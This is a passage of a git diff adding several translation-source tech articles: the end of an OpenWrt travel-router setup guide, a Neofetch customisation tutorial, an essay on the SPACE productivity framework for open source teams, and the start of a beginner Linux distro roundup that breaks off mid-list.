routers of all kinds. OpenWrt comes with all the useful features a good router should have like a DNS server ([dnsmasq][3]), Wifi access point and client functionality, PPP protocol for modem functionality and, unlike with the standard firmware, everything is fully configurable. + +### LuCI Web Interface + +OpenWrt can be configured remotely by command line (SSH) or using [LuCI][4], a GUI configuration interface. LuCI is a lightweight, extensible web GUI written in [Lua][5], which enables an exact configuration of your device. Besides configuration, LuCI provides a lot of additional information like real time graphs, system logs, and network diagnostics. + +![LuCI web interface][6] + +Image by: Stephan Avenwedde, [CC BY-SA][7] + +There are some optional extensions available for LuCI to add even further configuration choices. + +### Writeable file system + +Another highlight is the writeable filesystem. While the stock firmware is usually read-only, OpenWrt comes with a writeable filesystem thanks to a clever solution that combines OverlayFS with SquashFS and JFFS2 filesystems to allow installation of packages to enhance functionality. Find more information about the file system architecture in the [OpenWrt documentation][8]. + +### Extensions + +OpenWrt has an associated package manager, [opkg][9], which allows to install additional services. Some examples are an FTP server, a DLNA media server, an OpenVPN server, a Samba server to enable file sharing, or Asterisk (software to control telephone calls). Of course, some extensions require appropriate resources of the underlying hardware. + +### Motivation + +You might wonder why you should try to replace a router manufacture's firmware, risking irreparable damage to your device and loss of warranty. If your device works the way you want, then you probably shouldn’t. Never touch a running system! But if you want to enhance functionality, or if your device is lacking configuration options, then you should check whether OpenWrt could be a remedy. + +In my case, I wanted a travel router which I can place on an appropriate position when I’m on a campsite in order to get a good connection to the local Wifi access point. The router should connect itself as an ordinary client and broadcasts it’s own access point for my devices. This allows me to configure all my devices to connect with the routers access points and I only have to change the routers client connection when I’m somewhere else. Moreover, on some campsites you only get an access code for one single device, which I can enhance with this setup. + +As my travel router, I choose the TP-Link TL-WR902AC for the following reasons: + +* Small +* Two Wifi antennas +* 5V power supply (USB) +* Low power consumption +* Cost effective (you get it for around $30) + +To get an idea of the size, here it is next to a Raspberry Pi4: + +![TP-Link TL-WR902AC next to a Raspberry Pi][10] + +Image by: Stephan Avenwedde, [CC BY-SA 4.0][11] + +Even though the router brings all hardware capabilities I demand, I relatively quickly found out that the default firmware don’t let me configure it the way I wanted. The router is mainly intended as an Wifi access point, which repeats an existing Wifi network or connects itself to the web over the onboard Ethernet interface. The default firmware is very limited for these use cases. + +Fortunately, the router is capable of running OpenWrt, so I decided to replace the original firmware with it. + +### Installation + +When your LTE/5G/DSL/WIFI router meets the [minimum requirements][12], chances are high that it's possible to run OpenWrt on it. As the next step, you look in the [hardware table][13] and check whether your devices is listed as compatible, and which firmware package you have to choose. The page for the [TP-Link TL-WR902AC][14] also includes the installation instructions which describe how to flash the internal memory. + +The process of flashing the firmware can vary between different devices, so I won’t go into detail on this. In a nutshell, I had to connect the device over  a TFTP server on a network interface with a certain IP address, rename the OpenWrt firmware file and then boot up the device considering pressing the reset button. + +### Configuration + +Once flashing was successfully, your device should now boot up with the new firmware. It may take a bit longer now to boot up as OpenWrt comes with much more features compared to the default firmware. + +OpenWrt acts as a DHCP server, so in order to begin with configuration, make a direct Ethernet connection between your PC and the router, and configure your PC’s Ethernet adapter as a DHCP client. + +On Fedora Linux, to activate the DHCP client mode for your network adapter, first you have to find out the connection UUID by running: + +``` +$ nmcli connection show +NAME          UUID         TYPE      DEVICE +Wired Conn 1  7a96b...27a  ethernet  ens33 +virbr0        360a0...673  bridge   virbr0 +testwifi      2e865...ee8  wifi     -- +virbr0        bd487...227  bridge   -- +Wired Conn 2  16b23...7ba  ethernet -- +``` + +Pick the UUID for the connection you want to modify and then run: + +``` +$ nmcli connection modify ipv4.method auto +``` + +You can find more information about these commands in the [Fedora Networking Wiki][15]. + +After you have a connection to your router, open a web browser and navigate to [http://openwrt/][16]. You should now see LuCI’s login manager: + +![LuCI login][17] + +Use **root** as the username, and leave the password field blank. + +### Configuring Wifi and routing + +To configure your Wifi antennas, click on the **Network** menu and select **Wireless**. + +![LuCI wireless configuration][19] + +On my device, the antenna **radio0** on top operates in 2.4 GHz mode and is connected to the local access point called *MOBILE-INTERNET*. The antenna **radio1** below operates at 5 GHz and has an associated access point with the SSID *OpenWrt_AV*. With a click of the **Edit**button, you can open the device configuration to decide whether the device belongs to the *LAN* or WWAN network. In my case, the access point *OpenWrt_AV* belongs to the LAN network and the client connection *MOBILE-INTERNET* belongs to the WWAN network. + +![LuCI configuration screen][21] + +Configured networks are listed under **Network**, in the **Interfaces** panel. + +![Device list][23] + +In order to get the functionality I want, network traffic must be routed between the LAN and the WWAN network. The routing can be configured in the **Firewall** section of the **Network** panel. I didn’t change anything here because, by default, the traffic is routed between the networks, and incoming packets (from WWAN to LAN) have to pass the firewall. + +So all you need to know is whether an interface belongs to LAN or (W)WAN. This concept makes it relatively easy to configure, especially for beginners. You can find more information in [OpenWrt’s basic networking][25] guide. + +### Captive portals + +Public Wifi access points are often protected by a [captive portal][26] where you have to enter an access code or similar. Usually, such portals show up when you are first connected to the access point and try to open an arbitrary web page. This mechanism is realized by the access point's DNS server. + +By default, OpenWrt has a security feature activated that prevents connected clients from a [DNS rebinding attack][27]. OpenWrt’s rebind protection also prevents captive portals from being forwarded to clients, so you must disable rebind protection so you can reach captive portals. This option is in the **DHCP and DNS** panel of the **Network** menu. + +![Firewall settings][28] + +### Try OpenWrt + +Thanks to an upgrade to OpenWrt, I got a flexible travel router based on commodity hardware. OpenWrt makes your router fully configurable and extensible and, thanks to the well-made web GUI, it's also appropriate for beginners. There are even a few [select routers][30] that ship with OpenWrt already installed. You are also able to enhance your router's functionality with lots of [available packages][31]. For example, I’m using the [vsftp][32] FTP server to host some movies and TV series on a connected USB stick. Take a look at the [projects homepage][33], where you can find many reasons to switch to OpenWrt. + +Image by: Stephan Avenwedde, [CC BY-SA 4.0][7] + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/openwrt-open-source-firmware + +作者:[Stephan Avenwedde][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/hansic99 +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/OSDC_Internet_Cables_520x292_0614_RD.png +[2]: https://openwrt.org +[3]: https://thekelleys.org.uk/dnsmasq/doc.html +[4]: https://openwrt.org/docs/guide-user/luci/start +[5]: https://opensource.com/article/20/2/lua-cheat-sheet +[6]: https://opensource.com/sites/default/files/2022-07/openwrt_luci_overview_c_0.png +[7]: https://creativecommons.org/licenses/by-sa/4.0/legalcode +[8]: https://openwrt.org/docs/techref/flash.layout +[9]: https://openwrt.org/docs/guide-user/additional-software/opkg +[10]: https://opensource.com/sites/default/files/2022-07/OpenWrt_Comparison_RaspberryPi.jpg +[12]: https://openwrt.org/supported_devices +[13]: https://openwrt.org/toh/start +[14]: https://openwrt.org/toh/tp-link/tl-wr902ac_v3 +[15]: https://fedoraproject.org/wiki/Networking/CLI +[16]: http://openwrt/ +[17]: https://opensource.com/sites/default/files/2022-07/openwrt_luci_login_manager.png +[19]: https://opensource.com/sites/default/files/2022-07/openwrt_luci_wireless_section_c.webp +[21]: https://opensource.com/sites/default/files/2022-07/openwrt_luci_wifi_device_configuration.webp +[23]: https://opensource.com/sites/default/files/2022-07/openwrt_luci_network_devices_0.webp +[25]: https://openwrt.org/docs/guide-user/base-system/basic-networking +[26]: https://en.wikipedia.org/wiki/Captive_portal +[27]: https://en.wikipedia.org/wiki/DNS_rebinding +[28]: https://opensource.com/sites/default/files/2022-07/openwrt_luci_firewall_settings.webp +[30]: https://opensource.com/article/22/1/turris-omnia-open-source-router +[31]: https://openwrt.org/packages/table/start +[32]: https://openwrt.org/docs/guide-user/services/nas/ftp.overview +[33]: https://openwrt.org/reasons_to_use_openwrt diff --git a/sources/tech/20220713 9 Rather Unknown Ways of Using Neofetch in Linux.md b/sources/tech/20220713 9 Rather Unknown Ways of Using Neofetch in Linux.md new file mode 100644 index 0000000000..07978d5195 --- /dev/null +++ b/sources/tech/20220713 9 Rather Unknown Ways of Using Neofetch in Linux.md @@ -0,0 +1,275 @@ +[#]: subject: "9 Rather Unknown Ways of Using Neofetch in Linux" +[#]: via: "https://itsfoss.com/using-neofetch/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +9 Rather Unknown Ways of Using Neofetch in Linux +====== + +Neofetch is a simple command-line tool that [displays an ASCII logo of the distribution][1] along with a few system information in the terminal. It looks beautiful and you can easily show which distribution, desktop environment, and themes you are using when you share the screenshots of your desktop in various Linux communities. + +![KDE Neon Neofetch][2] + +For most users, that’s all there is to Neofetch. + +But Neofetch is highly customizable. You can display any ASCII logo instead of the distribution’s, filter out the information to display or replace the logos with cowsay messages. + +Interesting, isn’t it? Before I show you how to customize Neofetch, let me quickly go on installing it first, if you haven’t installed it already. + +### Installing Neofetch + +[Neofetch][3] is available in the official repo of all major Linux distributions. To install it in Ubuntu and [Debian-based distros][4], use: + +``` +sudo apt install neofetch +``` + +Fedora and Red Hat users can use the DNF package manager: + +``` +sudo dnf install neofetch +``` + +Arch and Manjaro users can [use the pacman command][5]: + +``` +sudo pacman -S neofetch +``` + +openSUSE users can use the Zypper command: + +``` +sudo zypper install neofetch +``` + +Once you have it installed, let’s see how to use it. + +### Using Neofetch + +In its simplest form, enter the neofetch command in the terminal: + +``` +neofetch +``` + +And it will show you the default output that consists of the ASCII logo of your distribution and some system information. + +![Neofetch output in Ubuntu][6] + +That’s simple. But you can configure it to show some additional information or hide some. + +#### 1. Display logo of another distro + +By default neofetch shows the logo of the current distribution. No surprises there. + +But you can have the ASCII logo of a different distribution than yours. Surprise! + +Here is the Pop!OS logo in Kubuntu system. + +![Displaying Logo of Pop!_OS in Kubuntu][7] + +To do that, you have to use the –ascii_distro flag. + +``` +neofetch --ascii_distro distroname +``` + +You know what! You can even display ASCII logo of Windows in Neofetch. + +![neofetch windows logo][8] + +#### 2. Show a smaller logo + +The list of distros having ASCII art is listed in the man page of Neofetch. Now, there also exists a sublist of distros, which has a small ASCII art. That list can also be found in its man page. + +![neofetch small logo][9] + +To achieve this: + +``` +neofetch --ascii_distro _small +``` + +You can make it permanent by editing the respective line on the config file. + +If a distro logo doesn’t have a small version, it displays the bigger one. And if you made a typo, it shows the Tux logo. + +![Tux logo with Neofetch][10] + +#### 3. Hiding Multiple Infos from view + +In Neofetch, there is a lot of information is shown by default. You don’t have to stick to them if you don’t want to. + +You can hide some information from the display. You can do that in two ways: either by providing options through the command line or by editing the configuration file. + +I will prefer editing the config file, because it is one time and will take effect immediately, and no need to type it repeatedly. + +Open neofetch config with [Vim or Nano][11] or your favorite editor using: + +``` +nano .config/neofetch/config.conf +``` + +![neofetch config file][12] + +Here you can find multiple lines referring to “info”. Comment those that you want to hide and uncomment those to show. To comment, just add # at the beginning of a line. + +Save the file and exit. Next, Neofetch run will be the modified one. + +The same config file can be tweaked to show users in the system, CPU temperatures, battery information, etc. + +![customised neofetch][13] + +#### 4. Hide the logo or the info + +You can tweak Neofetch to display only the system information and hide the ASCII logo. + +``` +neofetch --off +``` + +![neofetch without ascii logo][14] + +Also, you can have Neofetch with only the ASCII logo, without system information: + +``` +neofetch -L +``` + +![neofetch with only ascii logo][15] + +#### 5. Use a custom image as ASCII logo + +Neofetch supports custom images to be applied to the ASCII logo part. This is achieved by several backends. Images can be applied through jp2a, caca, sixel, w3m backends. + +By using jp2a, you can have your own image as an ascii art in neofetch. + +![custom ascii logo in neofetch with jp2a backend][16] + +To do this, use Neofetch like this: + +``` +neofetch --jp2a /path/to/image +``` + +Another type of output that is supported is the caca backend. On the terminal, enter: + +``` +neofetch --caca /path/to/image +``` + +![neofetch image with caca backend][17] + +There are other backends also, which can be found on its man page. + +#### 6. Add gradient colors by using lolcat with Neofetch + +With lolcat, you can have a colorful neofetch. Install lolcat using your distribution’s package manager first: + +``` +sudo apt install lolcat +``` + +Once lolcat is installed, pipe neofetch to lolcat to get a rainbow effect: + +``` +neofetch | lolcat +``` + +![neofetch with lolcat][18] + +#### 7. Use cowsay and fortune instead of logo + +With the latest releases of Neofetch, you can now display cowsay and fortune in place of the ascii logo. For more fancy, the same output can be piped to lolcat. + +``` +neofetch --ascii "$(fortune | cowsay -W 30)" | lolcat +``` + +Cowsay program can also display other animal figures by specifying the cowfile with `-f` flag. + +![neofetch with cowsay and lolcat][19] + +For more fun and if you have some time to invest, type the below code and see an animated neofetch appearing: + +``` +neofetch --ascii "$(fortune | cowsay -f dragon -W 30)" | lolcat -ats 60 +``` + +#### 8. Animate it + +Speaking of animation, you can animate the entire Neofetch output with the pv command. It consumes a lot of time but if you are doing a screencast and want to amuse people, this could do the trick. + +![A Video from YouTube][20] + +With pv command installed on your system, use it in conjugation with Neofetch: + +``` +neofetch | pv -qL 100 +``` + +This will begin typing character by character the neofetch art and info. Adjust the animation speed by changing the value from 100. Higher the value, faster is the animation. + +#### 9. Custom colors for the title, underline and info panel + +You can change the colors for the informational part. The parts of the informational panel are in the order: title, @, underline, subtitle, colon, info. + +You can give a different part to each one of them by adding a color code in their position like this: + +``` +neofetch --colors 3 4 5 6 2 1 +``` + +![neofetch custom color scheme one][21] + +![neofetch custom color scheme two][22] + +### Wrapping Up + +There are many more ways to tweak Neofetch. You can always look into its man page. + +As I said earlier, for most users Neoetch is just a simple, no-option command to pretty display system information and distribution logo in the terminal. + +Even I never bothered to look into customizing Neofetch. It was my teammate Sreenath who likes experimenting with these things and he came up with the idea and I had a feeling that It’s FOSS readers like you might find it amusing. + +Over to you now. Did you find some surprising new usage of Neofetch? Do you know some other cool trick? Share it with us in the comments. + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/using-neofetch/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/display-linux-logo-in-ascii/ +[2]: https://itsfoss.com/wp-content/uploads/2021/01/kde-neon-neofetch.png +[3]: https://github.com/dylanaraps/neofetch +[4]: https://itsfoss.com/debian-based-distros/ +[5]: https://itsfoss.com/pacman-command/ +[6]: https://itsfoss.com/wp-content/uploads/2022/07/neofetch-output.png +[7]: https://itsfoss.com/wp-content/uploads/2022/07/Changed-logo-of-distribution.png +[8]: https://itsfoss.com/wp-content/uploads/2022/07/neofetch-windows-logo-800x490.png +[9]: https://itsfoss.com/wp-content/uploads/2022/07/neofetch-small-logo-800x306.png +[10]: https://itsfoss.com/wp-content/uploads/2022/07/neofetch-tux-logo.png +[11]: https://itsfoss.com/vim-vs-nano/ +[12]: https://itsfoss.com/wp-content/uploads/2022/07/neofetch-config-file-800x419.png +[13]: https://itsfoss.com/wp-content/uploads/2022/07/customised-neofetch-800x164.png +[14]: https://itsfoss.com/wp-content/uploads/2022/07/neofetch-without-ascii-logo.png +[15]: https://itsfoss.com/wp-content/uploads/2022/07/neofetch-with-only-ascii-logo.png +[16]: https://itsfoss.com/wp-content/uploads/2022/07/custom-ascii-logo-in-neofetch-with-jp2a-backend-800x314.png +[17]: https://itsfoss.com/wp-content/uploads/2022/07/neofetch-image-with-caca-backend-800x278.png +[18]: https://itsfoss.com/wp-content/uploads/2022/07/neofetch-with-lolcat-800x303.png +[19]: https://itsfoss.com/wp-content/uploads/2022/07/neofetch-with-cowsay-and-lolcat-800x240.png +[20]: https://player.vimeo.com/video/727286686 +[21]: https://itsfoss.com/wp-content/uploads/2022/07/neofetch-custom-color-scheme-one.png +[22]: https://itsfoss.com/wp-content/uploads/2022/07/neofetch-custom-color-scheme-two.png diff --git a/sources/tech/20220713 A guide to productivity management in open source projects.md b/sources/tech/20220713 A guide to productivity management in open source projects.md new file mode 100644 index 0000000000..246f1a80f4 --- /dev/null +++ b/sources/tech/20220713 A guide to productivity management in open source projects.md @@ -0,0 +1,124 @@ +[#]: subject: "A guide to productivity management in open source projects" +[#]: via: "https://opensource.com/article/22/7/productivity-management-open-source-projects" +[#]: author: "Thabang Mashologu https://opensource.com/users/tmashologu" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +A guide to productivity management in open source projects +====== +Enhance productivity by applying the SPACE framework to open source teams. + +![Working on a team, busy worklife][1] + +Image by: opensource.com + +Open source is one of the most important technology trends of our time. It’s the lifeblood of the digital economy and the preeminent way that software-based innovation happens today. In fact, it’s estimated that over 90% of software released today contains open source libraries. + +There's no doubt the open source model is effective and impactful. But is there still room for improvement? When comparing the broader software industry’s processes to that of open source communities, one big gap stands out: productivity management. + +By and large, open source project leads and maintainers have been slow to adopt modern productivity and project management practices and tools commonly embraced by startups and enterprises to drive the efficiency and predictability of software development processes. It’s time we examine how the application of these approaches and capabilities can improve the management of open source projects for the better. + +### Understanding productivity in open source software development + +The open source model, at its heart, is community-driven. There is no single definition of success for different communities, so a one-size-fits-all approach to measuring success does not exist. And what we have traditionally thought of as productivity measures for software development, like commit velocity, the number of pull requests approved and merged, and even the lines of code delivered, only tell part of the story. + +Open source projects are people-powered. We need to take a holistic and humanistic approach to measuring productivity that goes beyond traditional measures. I think this new approach should focus on the fact that great open source is about communication and coordination among a diverse community of contributors. The level of inclusivity, openness, and transparency within communities impacts how people feel about their participation, resulting in more productive teams. + +These and other dimensions of what contributes to productivity on open source teams can be understood and measured with the SPACE framework, which was developed based on learnings from the proprietary world and research conducted by GitHub, the University of Victoria in Canada, and Microsoft. I believe that the SPACE framework has the potential to provide a balanced view of what is happening in open source projects, which would help to drive and optimize collaboration and participation among project team members. + +### A more accurate productivity framework + +The SPACE framework acronym stands for: + +* Satisfaction and well-being +* Performance +* Activity +* Communication and collaboration +* Efficiency and flow + +Satisfaction and well-being refer to how fulfilled developers feel with the team, their tools, and the environment, as well as how healthy and happy they are. Happiness is somewhat underrated as a factor in the success of teams. Still, there is strong evidence of a direct correlation between the way people feel and their productivity. In the open source industry, surveying contributors, committers, and maintainers about their attitudes, preferences, and priorities about what is being done and how is essential to understanding attitudes and opinions. + +Performance in this context is about evaluating productivity in terms of the outcomes of processes instead of output. Team-level examples are code-review velocity (which captures the speed of reviews) and story points shipped. More holistic measures focus on quality and reliability. For example, was the code written in a way that ensures it will reliably do what it is supposed to do? Are there a lot of bugs in the software? Is industry adoption of the software growing? + +Open source activity focuses on measuring design and development and CI/CD metrics, like build, test, deployments, releases, and infrastructure utilization. Example metrics for open source projects are the number of pull requests, commits, code reviews completed, build releases, and project documents created. + +Communication and collaboration capture how people and teams work together, communicate, and coordinate efforts with high transparency and awareness within and between teams. Metrics in this area focus on the vibrancy of forums, as measured by the number of posts, messages, questions asked and answered, and project meetings held. + +Finally, efficiency and flow refer to the ability to complete work and progress towards it with minimal interruptions and delays. At the individual developer level, this is all about getting into a flow that allows complex tasks to be completed with minimal distractions, interruptions, or context switching. At the project team level, this is about optimizing flow to minimize the delays and handoffs that take place in the steps needed to take software from an idea or feature request to being written into code. Metrics are built around process delays, handoffs, time on task, and the ease of project contributions and integrations. + +### Applying the SPACE framework to open source teams + +Here are some sample metrics to illustrate how the SPACE framework could be used for an open source project. + +#### Satisfaction and well-being + +* Contributor satisfaction +* Community sentiment +* Community growth & diversity + +#### Performance + +* Code review velocity +* Story points shipped +* Absence of bugs +* Industry adoption + +#### Activity + +* number of pull requests +* number of commits +* number of code reviews +* number of builds +* number of releases +* number of docs created + +#### Communication and collaboration + +* Forum posts +* Messages +* Questions asked & answered +* Meetings + +#### Efficiency and flow + +* Code review timing +* Process delays & handoffs +* Ease of contributions/integration + +### Tools for managing open source projects must be fit for purpose + +There is an opportunity to leverage the tools and approaches startups and high-growth organizations use to understand and improve open source development efficiency. All while putting open source’s core tenets, like openness and transparency, into practice. + +Tools used by open source teams should enable maintainers and contributors to be productive and successful, while allowing the projects to be open and welcoming to everyone, including developers who may work in multiple organizations and even competing companies. It is also critical to provide an excellent onboarding experience for new contributors and accelerate their time-to-understanding and time-to-contribution. + +Tools for managing open source projects should transparently manage data and accurately reflect project progress based on where the collaboration happens: in the codebase and repositories. Open source teams should be able to see real-time updates based on updates to issues and pull requests. And, project leads and maintainers should have the flexibility to decide whether access to the project should be completely public or if it should be limited to trusted individuals for issues or information of a more sensitive nature. + +Ideally, tools should allow self-governed project teams to streamline coordination, processes, and workflows and eliminate repetitive tasks through automation. This reduces human friction and empowers maintainers and contributors to focus on what really matters: contributing to the ecosystem or community and delivering releases faster and more reliably. + +The tools teams use should also support collaboration from people wherever they are. Since open source teams work in a remote and asynchronous world, tools should be able to integrate everyone’s contributions wherever and whenever they occur. These efforts should be enabled by great documentation stored in a central and easily accessible place. And finally, the tools should enable continuous improvement based on the types of frameworks and measures of productivity outlined above. + +Features that allow for increased transparency are especially important for open source projects. Tools should help keep community members aligned and working towards a common goal with a project roadmap that shows work is in flight, progress updates, and predicted end dates. + +### Conclusion + +Open source projects are a benefit to us all, and as such, it benefits everyone to make the processes that exist within these projects as productive as possible. + +By leveraging concepts like the SPACE framework and modern tools, we can ditch the spreadsheets and manual ways of tracking, measuring, and improving productivity. We can adapt approaches that power software development in the proprietary world and leverage modern tools that can help increase the quality, reliability, and predictability of open source software releases. Open source is far too important to leave to anything less. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/productivity-management-open-source-projects + +作者:[Thabang Mashologu][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/tmashologu +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/team_dev_email_chat_video_work_wfm_desk_520.png diff --git a/sources/tech/20220714 Top 10 Linux Distros for Beginners in 2022 [Compared].md b/sources/tech/20220714 Top 10 Linux Distros for Beginners in 2022 [Compared].md new file mode 100644 index 0000000000..6412eaf59b --- /dev/null +++ b/sources/tech/20220714 Top 10 Linux Distros for Beginners in 2022 [Compared].md @@ -0,0 +1,326 @@ +[#]: subject: "Top 10 Linux Distros for Beginners in 2022 [Compared]" +[#]: via: "https://www.debugpoint.com/linux-distro-beginners/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Top 10 Linux Distros for Beginners in 2022 [Compared] +====== +We give you the ten best Linux distro(s) for beginners, which can be the perfect starting point and help you to pick the best of the lot. + +### Introduction + +If you are manifesting joining the Linux clan and thinking about it, it’s time. It’s time to ditch Windows for good and save some money by doing so. Also, keep your sanity from monthly Windows updates that are gigabytes in size, save on your internet bill, save precious time watching a dumb blue screen (like below) and so on. The blessing of ditching the Windows list is pretty long. + +And you are in a perfect place to choose your first Linux distro as we prepare this list with much care and your very need. + +![This is how you waste your time by watching this for hours per month, not anymore!][1] + +### Characteristics of ideal beginners’ Linux distro + +There may be mixed opinions about what qualifies a distro for a beginner. From my point of view, I believe a distro is perfect for beginners if it possesses the below criteria: + +* Easy to install +* Well outlined documentation for installation via dual boot (in an OEM installed Windows hardware) +* Easy to get support from communities +* Stable (as in doesn’t crash often) +* Hardware and peripherals (printer, Bluetooth, display, sound) should work out of the box. +* Looks decent before customisation +* Play basic supported games, movies & Netflix/other streaming services + +As you can see, these are pretty basic needs from a computing standpoint for an average user. And these are the distros which I believe are a perfect fit for beginners’ distros. + +### Top 10 Linux Distro for Beginners + +#### 1. Linux Mint + +Over the years, Linux Mint proved itself to be an ideal distro for not only beginners but everyone. You can easily use this operating system for any use case. + +Hence, our first on this list is [Linux Mint][2]. + +Linux Mint comes with three variants based on different [desktop environments][3]. But at its core, it remains the same. It is based on Ubuntu LTS and has a 5-year support plan. + +Moreover, for those five years, you get hardware support, bug fixes and security fixes. This alone makes it to be a perfect beginner distro. + +![Linux Mint Cinnamon Edition][4] + +In addition, a vast friendly community and well-structured documentation is a plus point. If you are a new user and are stuck for any help, you can go to several communication channels to get help from the community. Usually, the Discord server of Linux Mint is ideal for a fast response. + +Another important aspect is that Linux Mint comes with all possible (old and new) hardware support out of the box. So, if you are wondering whether your old printer or any hardware would work or not, then worry not. Try Linux Mint; ideally, the hardware should work out of the box. + +That said, here’s a recap of some advantages and disadvantages of Linux Mint with the download link. + +**Pros: What makes it a great choice?** + +* User-friendly & community support +* Time tested to work as dual-boot with Windows +* Documentation +* Legacy and new hardware support +* Lightweight in nature +* Pre-loads with many apps + +**Cons: But these are some of the constraints** + +* Not much of an eye-candy desktop +* Legacy desktop layout (menu & icons) + +#### 2. Zorin OS + +Zorin OS is the second beginner distro on this list. It is perfect for those who want a good starting point with Linux with stability and good looks together. Powered by a custom desktop environment inspired by Xfce and GNOME 3, it brings several ready-made desktop looks. The desktop looks include macOS and Windows with different variations of panel and taskbar. + +![Zorin OS][5] + +Other than that, Zorin OS is based on Ubuntu LTS (long-term support), which gives you five years’ worth of support and security updates. Finally, it brings three major variants – Pro, Lite and Core edition to cater to various user bases. The Pro version is a paid version (with a minimal fee) which brings additional desktop customisation options and tweaks. + +**Pros: What makes it a great choice?** + +* Looks excellent with themes and pre-loaded customisations +* Best of Xfce and GNOME 3 desktop +* Stable, fast while being eye-candy +* Based on Ubuntu LTS for five years of support + +**Cons: But these are some of the constraints** + +* Additional customisations come only in the Pro edition + +#### 3. Linux Lite + +The third beginner’s distro in this list is Linux Lite. I have included this because millions of Windows 7 or Windows 10 users whose hardware suddenly became obsolete after the Windows 11 hardware requirement. + +But hardware does not become obsolete overnight for specific evil rules imposed by the giants. Linux Lite is perfect for older hardware and also for newer ones. It is powered by Ubuntu LTS releases and comes with a lightweight [Xfce desktop environment][6]. + +![Linux Lite 6 Xfce Desktop][7] + +In addition, it brings several in-house utilities specially designed for new users. For example, a beginner may not know how to use a terminal in Linux or upgrade a system. So, Linux Lite has several graphical utilities to take care of day-to-day system & maintenance work. + +**Pros: What makes it a great choice?** + +* Super lightweight and fast +* Ideal for older hardware which runs Windows 7 or Windows 10 +* Friendly desktop +* Additional utilities for system operations +* Helpful community + +**Cons: But these are some of the constraints** + +* Not a fancy-looking or eye-candy desktop +* Legacy menu-driven desktop + +#### 4. Ubuntu + +Ubuntu Linux is the most used and downloaded Linux operating system. It’s more popular than all the distros in this list combined. Ubuntu Linux (mainly the Long Term Support edition) is used by millions of users, enterprises and real-world business needs. + +The only reason we featured Ubuntu as a beginner distro is its capability, popularity and perhaps most widely used. Because of that, beginner users get massive support from an already established user base, forums and so on. + +![Ubuntu LTS with GNOME][8] + +Moreover, almost all third-party applications, games and other associated critical software targets Ubuntu first as their compatible platform. Hence, it is easier for beginner users to get the software they need without many hurdles. + +**Pros: What makes it a great choice?** + +* Most popular distro among all +* Well-established roadmap for long-term support +* Beautiful using GNOME desktop +* A vast amount of app support +* Enriched community support + +**Cons: But these are some of the constraints** + +* Requires modern hardware for better performance +* Beginner users require more effort to further customise the system +* A minimal set of applications is pre-installed + +#### 5. MX Linux + +[MX Linux][9] is a Debian-based systemd-free Linux distribution which brings several advantages for beginner users. Hence it is 5th on this list. + +For a new user, it doesn’t matter to know what is “systemd” or “init” systems. These are little advanced Linux knowledge in that term. + +The primary reason it is a suitable beginner distro is that it brings a complete operating system with pre-loaded applications, easy-to-use desktops and longer-term support. + +![MX Linux 21 Desktop][10] + +Thanks to Debian, MX Linux officially supports more than 5 years with bug fixes and security updates. In addition, it brings all necessary applications packaged in its installer so that you do not require to perform any further post-install tweaks. + +Also, a wide range of free and proprietary hardware support is available, thanks to Debian. + +Finally, the Xfce desktop environment is faster and easy to navigate. + +**Pros: What makes it a great choice?** + +* Long-term support for more than 10 years +* Wide range of hardware support +* Stable and fast +* Pre-loaded with natively built apps + +**Cons: But these are some of the constraints** + +* Older packages due to Debian for certain apps +* Not a good-looking desktop + +#### 6. Lubuntu + +[Lubuntu][11] is the LXQt-based Linux Distribution based on Ubuntu Linux. It is one of the super lightweight distros that is stable, super-fast and brings a wide range of hardware and software support. + +Thanks to its Ubuntu base, you get all the advantages of being a Ubuntu-based distro which we featured above for Ubuntu. + +![Lubuntu 22.04 LTS Desktop – isn’t it nice and clean][12] + +The LXQt desktop is the most friendly and super fast legacy desktop today. It even outranks Xfce and KDE Plasma in terms of performance. In addition, beginner users do not require to learn anything additional to use this desktop because of its legacy design. + +Hence, I believe it’s a perfect choice for a set of beginner users. + +**Pros: What makes it a great choice?** + +* Lightweight and fast distro +* Supports older hardware +* No learning curve required +* 5 years’ worth of support for the LTS release + +**Cons: But these are some of the constraints** + +* Legacy looking distro +* It doesn’t support advanced features such as gestures, swipes for touch devices + +#### 7. Fedora with KDE Plasma + +Fedora Linux with KDE Plasma desktop can be an ideal distro for new users to power users. There are many reasons for this. Firstly, unlike Ubuntu, Fedora Linux is a little advanced and a pioneer in bringing new emerging technology to you. Hence, if you are a beginner in Linux and have modern hardware, Fedora is a perfect choice. + +Besides that, the KDE Plasma desktop is a powerful desktop with a vast selection of customisation options. A famous tagline perfectly fits KDE Plasma – “Simple by default, powerful when needed”. + +![Fedora KDE Edition][13] + +Hence, the blend of Fedora Linux and KDE Plasma is perhaps the most intuitive and powerful combination for all types of Linux users. + +Finally, a friendly community of Fedora and KDE Plasma must be another reason to choose this distro over others. + +**Pros: What makes it a great choice?** + +* Modern tech support +* Fast and beautiful KDE Plasma desktop +* A wide range of software and application are available via RPM Fusion +* Powerful and friendly community + +**Cons: But these are some of the constraints** + +* A little challenging 